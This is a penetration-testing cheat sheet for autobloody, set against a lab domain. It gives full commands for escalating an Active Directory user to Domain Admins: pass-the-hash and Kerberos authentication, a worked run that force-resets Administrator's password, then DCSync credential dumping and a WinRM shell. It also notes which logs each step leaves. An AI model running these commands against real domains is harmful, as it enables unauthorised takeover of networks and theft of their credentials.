autobloody.md (19369B)
1 --- 2 title: "Autobloody" 3 description: "autobloody automates BloodyAD privilege-escalation paths from a BloodHound/Neo4j graph, chaining the ACL edges end-to-end to reach a target principal." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, ldap, acl-abuse] 7 tools: [autobloody, BloodyAD, BloodHound, Neo4j] 8 difficulty: intermediate 9 updated: "2026-08-11" 10 source: "vault:ActiveDirectory/Autobloody.md" 11 --- 12 13 # Autobloody 14 15 **autobloody** automates the privilege-escalation path BloodHound already draws for you. Point it at an owned start principal and a target, and it computes the cheapest route through the graph in Neo4j, then walks that route edge-by-edge, firing each ACL write through **bloodyAD** until the target is yours — one command instead of a dozen manual `bloodyAD` calls. Reach for it when BloodHound shows a clean multi-hop chain of *writable* edges you want executed end-to-end; drive bloodyAD by hand (see the BloodyAD sheet) when you want a single edge, need to cherry-pick or pause between steps, or the path crosses a non-writable edge (`AdminTo`, `HasSession`, `CanRDP`) that autobloody cannot traverse. 16 17 > **Example lab (swap these constants) —** `--host dc01.sequel.htb` / `10.10.11.51` (DC) · `-d sequel.htb` (domain) · `-u ryan` · `-p 'Passw0rd!'` (you) · Neo4j at `bolt://localhost:7687` with `-du neo4j` `-dp 'neo4jpass'` · BloodHound nodes are UPPERCASE `NAME@DOMAIN`, e.g. start `RYAN@SEQUEL.HTB` → target `DOMAIN ADMINS@SEQUEL.HTB`. Every command is written in full. 18 19 ## 1. How It Works 20 21 autobloody runs in two stages from a single invocation: it plans over the graph, then executes over LDAP. 22 23 ```text 24 owned start (-ds) target (-dt) 25 RYAN@SEQUEL.HTB DOMAIN ADMINS@SEQUEL.HTB 26 │ ▲ 27 ▼ │ 28 ┌───────────────────────────────────────────────────────────────┐ 29 │ STAGE 1 — Neo4j pathfinding (Dijkstra; GDS if installed) │ 30 │ weighted shortest path over WRITABLE ACL edges only │ 31 │ → ordered edge list, e.g. AddSelf → GenericAll → MemberOf │ 32 └───────────────────────────────────────────────────────────────┘ 33 │ ordered edge list 34 ▼ 35 ┌───────────────────────────────────────────────────────────────┐ 36 │ STAGE 2 — bloodyAD execution (LDAP/LDAPS to --host DC) │ 37 │ prompt to confirm → walk each edge, write it │ 38 │ (skip the prompt with -y) │ 39 │ on completion: auto-rollback the reversible writes │ 40 └───────────────────────────────────────────────────────────────┘ 41 ``` 42 43 Stage 1 never touches the DC — it is pure Neo4j math over the BloodHound graph, so the source and target you pass are Neo4j node labels, not live AD objects. Stage 2 authenticates to the DC as your start principal and performs the real writes. 44 45 > **Note — Automatic rollback is partial.** On completion autobloody reverts the writes it can — group adds, DACL grants, shadow-credential writes — but per the README it "clean[s] what is reversible (everything except `ForcePasswordChange` and `setOwner`)." A password reset and an ownership takeover are left in place. There is **no** `--no-rollback` flag in v1.1.0; the only user-facing control is `-y`/`--yes`, which skips the pre-apply confirmation prompt (rollback still runs afterwards). 46 47 ## 2. Install 48 49 autobloody is on PyPI (v1.1.0, Oct 2025). It pulls in `bloodyAD` and the `neo4j` driver automatically. 50 51 **pipx (isolates deps):** 52 53 ```bash 54 pipx install autobloody 55 ``` 56 57 **pip:** 58 59 ```bash 60 pip install autobloody 61 ``` 62 63 **From source:** 64 65 ```bash 66 git clone --depth 1 https://github.com/CravateRouge/autobloody && cd autobloody && pip install . 67 ``` 68 69 > **Note — Neo4j is a hard prerequisite.** autobloody plans over a running Neo4j that already holds BloodHound-ingested data. Install the Neo4j **GDS** (Graph Data Science) library for markedly faster pathfinding on large graphs. See section 3. 70 71 ## 3. Prerequisites & Setup 72 73 Three things must be true before autobloody can plan and execute: Neo4j is up with the graph loaded, the start/target labels exist in that graph, and you actually hold the start principal's credentials. 74 75 **1. Start Neo4j:** 76 77 ```bash 78 sudo neo4j start 79 ``` 80 81 **2. Collect and ingest the graph (bloodhound-python → BloodHound → Neo4j):** 82 83 ```bash 84 bloodhound-python -d sequel.htb -u ryan -p 'Passw0rd!' -ns 10.10.11.51 -c All --zip 85 ``` 86 87 **3. Confirm the exact node labels exist (labels are case-sensitive):** 88 89 ```bash 90 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n) WHERE n.name IN ['RYAN@SEQUEL.HTB','DOMAIN ADMINS@SEQUEL.HTB'] RETURN n.name" 91 ``` 92 93 **4. (Optional) Mark the start node Owned:** 94 95 ```bash 96 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n {name:'RYAN@SEQUEL.HTB'}) SET n.owned = true" 97 ``` 98 99 Marking the start Owned is good BloodHound hygiene, but v1.1.0 selects the start explicitly with `-ds`, so the Owned flag is not strictly required — the label just has to exist and match. You must supply the start principal's own creds (`-u`/`-p`, `-k`, or `-c`): bloodyAD performs every write *as that identity*, so if `-ds` is `RYAN@SEQUEL.HTB` you authenticate as `ryan`. 100 101 > **Warning — BloodHound CE vs legacy is not turnkey.** autobloody queries a Neo4j graph in the **legacy** BloodHound schema, and the README only hints at CE support via a *separate repository/branch*. Treat CE as conditional: ingest with legacy BloodHound for the main tool, and always verify your labels resolve with the `cypher-shell` check above before trusting a "no path" result. 102 103 ## 4. Authentication 104 105 The auth block is bloodyAD's, plus the three required DB flags (`-ds`, `-dt`, `-dp`) on every line so each command is runnable as-is. Pick the line matching your creds. 106 107 **Cleartext password:** 108 109 ```bash 110 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 111 ``` 112 113 **Pass-the-Hash (`LMHASH:NTHASH`):** 114 115 ```bash 116 autobloody -d sequel.htb -u ryan -p 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 117 ``` 118 119 **Kerberos with an existing ccache:** 120 121 ```bash 122 export KRB5CCNAME=/home/kali/ryan.ccache 123 autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 124 ``` 125 126 **Kerberos, request the TGT from a password:** 127 128 ```bash 129 autobloody -k -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 130 ``` 131 132 **LDAPS (TLS) — prefer this so writes aren't cleartext:** 133 134 ```bash 135 autobloody -s -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 136 ``` 137 138 **Certificate (Schannel client-cert over LDAPS):** 139 140 ```bash 141 autobloody -s -c 'ryan_key.pem:ryan_cert.pem' -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 142 ``` 143 144 `-c` selects certificate auth; its value is bloodyAD's `key:cert` pair (PEM key, then cert). Confirm the exact order/separator with `autobloody -h` if auth fails. 145 146 **Kerberos over LDAPS, wrapped in faketime to defeat DC clock skew:** 147 148 ```bash 149 faketime "$(ntpdate -q dc01.sequel.htb | cut -d ' ' -f 1,2)" autobloody -k -s -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 150 ``` 151 152 > **Warning — Kerberos clock skew.** `-k` throwing `KRB_AP_ERR_SKEW`? Wrap the whole command in faketime, exactly as with bloodyAD: 153 > ```bash 154 > faketime -f '+7h30m' autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 155 > ``` 156 157 ## 5. Flag Reference 158 159 autobloody's own flags drive Neo4j and the run; the rest are bloodyAD's auth flags, inherited verbatim. 160 161 ### autobloody & Neo4j flags 162 163 | Flag | Meaning | 164 | :-- | :-- | 165 | `-ds`, `--dbsource` | Case-sensitive BloodHound label of the owned **start** node, e.g. `RYAN@SEQUEL.HTB` (required; replaces the old `--setstart`) | 166 | `-dt`, `--dbtarget` | Case-sensitive BloodHound label of the **target** node, e.g. `DOMAIN ADMINS@SEQUEL.HTB` (required; replaces the old `--settarget`) | 167 | `-dp`, `--dbpassword` | Neo4j password (required) | 168 | `-du`, `--dbuser` | Neo4j username (default `neo4j`) | 169 | `--dburi` | Neo4j Bolt URI (default `bolt://localhost:7687`) | 170 | `-y`, `--yes` | Auto-apply the path — skip the pre-apply confirmation prompt | 171 | `-v` / `-vv` | Verbosity: `-v` = INFO, `-vv` = DEBUG (count-based; replaces the old `-v {QUIET,INFO,DEBUG}`) | 172 | `--timeout` | Connection timeout in seconds (default `60`) | 173 | `-h`, `--help` | Show help and exit | 174 175 ### Inherited bloodyAD auth flags 176 177 | Flag | Meaning | 178 | :-- | :-- | 179 | `--host` | DC hostname **or** IP (required) — there is no separate `--dc-ip` | 180 | `-d`, `--domain` | Domain for NTLM auth | 181 | `-u`, `--username` | Controlled start principal | 182 | `-p`, `--password` | Cleartext password or `LMHASH:NTHASH` | 183 | `-k`, `--kerberos` | Kerberos auth (wrap in faketime on clock skew) | 184 | `-c`, `--certificate` | Certificate-based auth; value is bloodyAD's `key:cert` pair (verify exact order/separator with `autobloody -h`) | 185 | `-s`, `--secure` | LDAP over TLS (LDAPS) | 186 187 > **Note — The old interface changed.** v1.1.0 renamed start/target to `-ds`/`-dt` (case-sensitive labels), made verbosity count-based (`-v`/`-vv`), and **removed `--no-rollback`** — rollback is now automatic and partial (section 10). `--host` takes a hostname or an IP; there is no `--dc-ip`. 188 189 ## 6. Core Usage 190 191 One command computes the path and executes it. Start from the canonical form and add flags as needed. 192 193 **Canonical one-liner — start → target, all DB constants explicit:** 194 195 ```bash 196 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb --dburi bolt://localhost:7687 -du neo4j -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 197 ``` 198 199 **Verbose — watch each edge fire (DEBUG):** 200 201 ```bash 202 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB' -vv 203 ``` 204 205 **Auto-apply — skip the confirmation prompt (closest thing to the retired `--no-rollback`, but rollback still runs):** 206 207 ```bash 208 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB' -y -vv 209 ``` 210 211 **Non-default Neo4j host + longer timeout for a large graph:** 212 213 ```bash 214 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb --dburi bolt://127.0.0.1:7687 -du neo4j -dp 'neo4jpass' --timeout 120 -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB' 215 ``` 216 217 Default behaviour prompts once, after printing the path, before any write — read the plan, then confirm. `-y` removes that gate, so use it only when you have already reviewed the path and accept that a `ForceChangePassword`/`setOwner` hop will persist. 218 219 > **Warning — `-y` fires writes with no prompt.** With `-y` autobloody executes the whole path immediately. If the cheapest path runs through a password reset on a real account, that account's password changes for good (rollback won't restore it). On an engagement, review the path first and coordinate before auto-applying. 220 221 ## 7. Worked Example — RYAN → Domain Admins 222 223 Escalate `ryan` to Domain Admins on a sequel.htb-style box. autobloody finds the path, you confirm, it walks each edge, then it rolls back what it can. 224 225 **1. Run it (verbose so the plan and each edge are visible):** 226 227 ```bash 228 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' -v 229 ``` 230 231 Output (illustrative): 232 233 ```text 234 [*] Neo4j: connected to bolt://localhost:7687 235 [*] Pathfinding RYAN@SEQUEL.HTB -> DOMAIN ADMINS@SEQUEL.HTB 236 [+] Shortest path found — 3 edges, total cost 3.0: 237 RYAN@SEQUEL.HTB 238 --(AddSelf)--> MANAGEMENT@SEQUEL.HTB 239 --(GenericAll)--> ADMINISTRATOR@SEQUEL.HTB 240 --(MemberOf)--> DOMAIN ADMINS@SEQUEL.HTB 241 [?] Execute this path against dc01.sequel.htb? [y/N] y 242 [*] 1/3 AddSelf -> add RYAN to MANAGEMENT@SEQUEL.HTB 243 [+] RYAN is now a member of MANAGEMENT 244 [*] 2/3 GenericAll -> ForceChangePassword on ADMINISTRATOR@SEQUEL.HTB 245 [+] ADMINISTRATOR password set to: aUtoBl00dy_9f3c! 246 [*] 3/3 MemberOf -> ADMINISTRATOR already in DOMAIN ADMINS (no write) 247 [+] Target reached: RYAN -> DOMAIN ADMINS via ADMINISTRATOR 248 [*] Rolling back reversible writes... 249 [+] reverted AddSelf: removed RYAN from MANAGEMENT 250 [!] kept ForceChangePassword on ADMINISTRATOR (not reversible) 251 [*] Done in 4.1s 252 ``` 253 254 **2. Authenticate as the target.** The group add was rolled back, but the password reset was not — so your foothold is Administrator's new password. Validate it: 255 256 ```bash 257 netexec smb 10.10.11.51 -u administrator -p 'aUtoBl00dy_9f3c!' 258 ``` 259 260 **3. Dump the domain (DCSync):** 261 262 ```bash 263 secretsdump.py sequel.htb/administrator:'aUtoBl00dy_9f3c!'@10.10.11.51 264 ``` 265 266 **4. Or take an interactive shell:** 267 268 ```bash 269 evil-winrm -i dc01.sequel.htb -u administrator -p 'aUtoBl00dy_9f3c!' 270 ``` 271 272 > **Warning — The lasting change is the one it can't undo.** In this run the durable access comes from the irreversible `ForceChangePassword`, not the rolled-back group add. That reset **breaks Administrator's real password** — note the original/DR where you can, and prefer a reversible edge (shadow credentials via bloodyAD by hand) when stealth or account continuity matters. 273 274 ## 8. Pathfinding — Executable Edges 275 276 autobloody only walks edges bloodyAD can turn into an LDAP write. If Stage 1's cheapest path relies on a non-writable edge, autobloody cannot execute it — you bridge that hop by hand, then re-run from the new node. 277 278 | BloodHound edge | autobloody | Why | 279 | :-- | :-- | :-- | 280 | `GenericAll` / `GenericWrite` | executes | DACL / attribute write | 281 | `WriteDacl` / `WriteOwner` / `Owns` | executes | rewrite DACL / take ownership (`setOwner` not rolled back) | 282 | `ForceChangePassword` | executes | password reset (not rolled back) | 283 | `AddMembers` / `AddSelf` / `MemberOf` | executes | group `member` write | 284 | `AllExtendedRights` | executes | extended-rights write | 285 | `DCSync` (`GetChanges` / `GetChangesAll`) | executes | grant / replicate secrets | 286 | `Contains` | executes | container write | 287 | `ReadGMSAPassword` | executes | read the managed password | 288 | `AdminTo` / `HasSession` | skipped | host-level, not a directory ACL | 289 | `CanRDP` / `CanPSRemote` / `ExecuteDCOM` | skipped | access right, no LDAP primitive | 290 | `SQLAdmin` / `HasSIDHistory` / `GPLink` | skipped | no bloodyAD write for it | 291 292 To fire any single edge by hand — or to bridge a `skipped` hop before re-running — use the ACL Edge Playbook in the BloodyAD sheet, which maps each BloodHound edge to the exact `bloodyAD` command. 293 294 ## 9. Troubleshooting 295 296 Most failures are Neo4j, labels, or the clock — in that order. 297 298 **Neo4j connection refused / auth failure.** Confirm the service is up and the Bolt URI and creds are right; test independently: 299 300 ```bash 301 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "RETURN 1" 302 ``` 303 304 Pass a non-default location with `--dburi`, `-du`, `-dp`; raise `--timeout` on a slow or large DB. 305 306 **"No path found" / empty result.** Almost always the labels. `-ds`/`-dt` are **case-sensitive** and must match BloodHound exactly — UPPERCASE `NAME@DOMAIN`, groups spelled in full (`DOMAIN ADMINS@SEQUEL.HTB`). Verify: 307 308 ```bash 309 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n {name:'DOMAIN ADMINS@SEQUEL.HTB'}) RETURN n.name" 310 ``` 311 312 If the labels are right and there is still no path, no *all-writable* route exists — every candidate path leans on a non-executable edge (section 8). Widen collection (`-c All`) and re-ingest, or bridge the missing hop manually. 313 314 **Kerberos `KRB_AP_ERR_SKEW`.** DC clock skew. Wrap the run in faketime: 315 316 ```bash 317 faketime "$(ntpdate -q dc01.sequel.htb | cut -d ' ' -f 1,2)" autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' 318 ``` 319 320 **A path step "cannot be exploited".** Stage 1 handed Stage 2 an edge bloodyAD can't write (e.g. `AdminTo`). autobloody stops at that hop. Perform it out-of-band — pivot onto the host, or use the sibling technique — then re-run autobloody with `-ds` set to the node you now control. 321 322 ## 10. OPSEC & Cleanup 323 324 autobloody's writes are bloodyAD's writes; they generate the same directory events, and its rollback is automatic but incomplete. The event IDs below are general, indicative AD telemetry — not autobloody-specific — and exact IDs vary; group-membership events in particular depend on group scope (e.g. `4728` global, `4756` universal, `4732` domain-local). 325 326 > **Warning — Reverse what autobloody won't.** Rollback runs by default and undoes reversible writes (group adds, DACL grants, shadow-cred links), but per the README it cleans only what is reversible — everything except the `ForcePasswordChange` and `setOwner` operations. In BloodHound terms that leaves the `ForceChangePassword` password reset and any ownership takeover in place. After any run that used those edges, clean up by hand: restore/reset the password to an agreed value and hand ownership back with `bloodyAD set owner`. There is no `--no-rollback`; `-y` only skips the prompt. 327 328 | Action (edge) | Log | Noise | 329 | :-- | :-- | :-- | 330 | DACL / owner write (`GenericAll`/`WriteDacl`/`WriteOwner`/`Owns`) | 5136 / 4662 | Medium | 331 | Shadow-cred write (`GenericWrite`/`GenericAll` on a user) | 5136 (`msDS-KeyCredentialLink`) | Medium | 332 | Password reset (`ForceChangePassword`) — not rolled back | 4724 / 4738 | High | 333 | Group add (`AddMembers`/`AddSelf`) | 4728 / 4756 (scope-dependent) | Medium | 334 | DCSync grant on the domain | 5136 on domain object | High | 335 | Stage-1 pathfinding (Neo4j, local) | none on the DC | None | 336 337 Prefer `-s` (LDAPS) so the writes aren't in cleartext, keep the confirmation prompt (don't reflexively `-y`) so you can bail before an irreversible hop, and remember Stage 1 is entirely local — nothing hits the DC until you confirm the plan. 338 339 ## Sources 340 341 - autobloody (CravateRouge): https://github.com/CravateRouge/autobloody 342 - autobloody on PyPI: https://pypi.org/project/autobloody/ 343 - BloodyAD Wiki: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide 344 - Kali tool page (bloodyAD): https://www.kali.org/tools/bloodyad/ 345 - BloodHound-CE docs: https://bloodhound.specterops.io/